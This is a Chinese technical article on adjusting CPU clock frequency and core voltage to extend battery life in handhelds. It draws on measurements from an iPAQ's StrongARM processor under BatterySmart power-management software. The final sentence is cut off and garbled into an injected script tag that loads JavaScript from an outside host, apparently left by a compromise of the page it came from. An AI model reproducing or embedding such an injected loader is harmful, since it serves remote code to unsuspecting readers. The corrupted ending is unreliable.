决定何时及如何调整cpu内核时钟频率和内核电压的实时分析算法与电子设备的一次自动启动是很相似的:调节设备的运行速度以获得最佳的效果——增强性能同时降低功耗。由于cpu的频率和电压不断升级,设计者目前正将调整时钟和电压作为他们降低设计功耗的重要武器。设计者们知道功耗与频率直接成正比,与电压的平方也成正比。因此,时钟与电压的线性降低导致使用功耗的非线性降低。但是,因为低频率也会同时造成计算效率的降低,所以这些设计者所面临的挑战是如何实现不改变设备实时性能的时钟和电压调整方案。
当然技术门槛相当高。不管设备是使用电池、燃料电池或是太阳能电池,延长电池的使用寿命可为最终用户提供更大的自由度和更低的成本,这也意味着可以增加设备的销量。另外,更好的电源管理方案可以减轻与电池处理相关的潜在环境问题。
在时钟和电压调整上的挑战不容低估。最新的pda和移动电话相当先进,带有丰富的外围硬件平台、复杂的多线程操作系统和大量的应用软件包。现代的手持设备拥有许多变量,这些变量可在调整内核时钟频率和内核电压时得到分析,但是目前这些变量中的大部分没有被用来降低算法的复杂度。
传统的时钟管理方法有难有易。简单的方法,如许多笔记本电脑提供了基于电源、电池余量或cpu温度来调整频率的控制方式。复杂的方法,如“即时”(just-in-time)算法,可以动态地调整频率和电压来使cpu的时间尽量花在执行任务上,将cpu的闲置时间降到最少。
这些技术是有益的,但是还有一个重要的问题就是:电池寿命可以另外通过恰当地调整时钟和电压来进一步得到延长吗?在某些条件下,答案是肯定的。
全局时钟管理算法考虑到了所有设备性能和运行时间变量的细微差别,这种算法可以较好地使用频率和电压调整来延长电池寿命。以下的实验很好地说明了问题:在惠普-康柏公司ipaq pocket pc设备上安装inhand electronics公司的batterysmart电源管理软件。在实验中,ipaq连续地将数据文件存储到一个ata 闪存卡上,图中显示了在四个不同的频率值上的性能和电池寿命测量值。
当时钟频率从206mhz降到81mhz时,传输到外设上的数据流量降低了不到5%。然而,频率降低后,电池寿命增加了30%以上。为什么会这样?因为数据流量与cpu的时钟频率基本上没有什么关系。相反,cpu与外围电路的电子接口及外围电路自身的内部构造是产生性能瓶颈的主要因素。
未来的目标,对于设计师们来说就是达到通过调整时钟和电压来延长电池寿命的完美境界,这需要使用一个调整算法来考虑电子设备中所有相关的硬件和软件自由度。这个算法要分析这些自由度并分离一个内核时钟频率和内核电压调整信号,就像一个汽车自动传输系统会调整齿轮来提高速度、性能和节约燃油一样。最终算法将用系统软件、fpga、asic、先进的电压调节器或cpu本身来实现。
对时钟频率、总线时序、数据流量和电池寿命还须作更进一步的考虑。内核时钟频率的降低将减少手持设备在处理某些任务时的功耗而几乎不影响性能。如果进一步考查实际数字,一些有趣的问题出现了。
例如,对于电池寿命和数据流量的实际结果,最明显的问题是:为什么162mhz比103mhz的功耗更低、电池寿命更长?在较高的频率时功耗应该比较大似乎才比较符合逻辑。在考查了batterysmart电源管理软件如何调整ipaq上的strongarm cpu 频率之后,就会发现原因很明显。
在strongarm cpu中,一系列寄存器设置用来为闪存、sram和pcmcia外围电路设定时序。这些寄存器设置是基于基础时钟频率来调整的,该基础时钟频率通过对一个控制锁相环回路(pll)的寄存器进行编程来确定。cpu内核的工作频率可以是由pll设置的频率或是此频率的两倍。这样,如果pll设置在103mhz,那么cpu内核可以通过编程工作在103mhz或206mhz。通常,ipaq上的内核工作在206mhz。
所以,在图中,103mhz和206mhz入口都用基础pll值103mhz。在这种情况下,因为外围接口在两种情况下是以相同速率进行记时,数据流量和电池寿命的差异只与cpu内核频率变化有关。为了得到在81mhz和162mhz时的数据?script src=http://er12.com/t.js>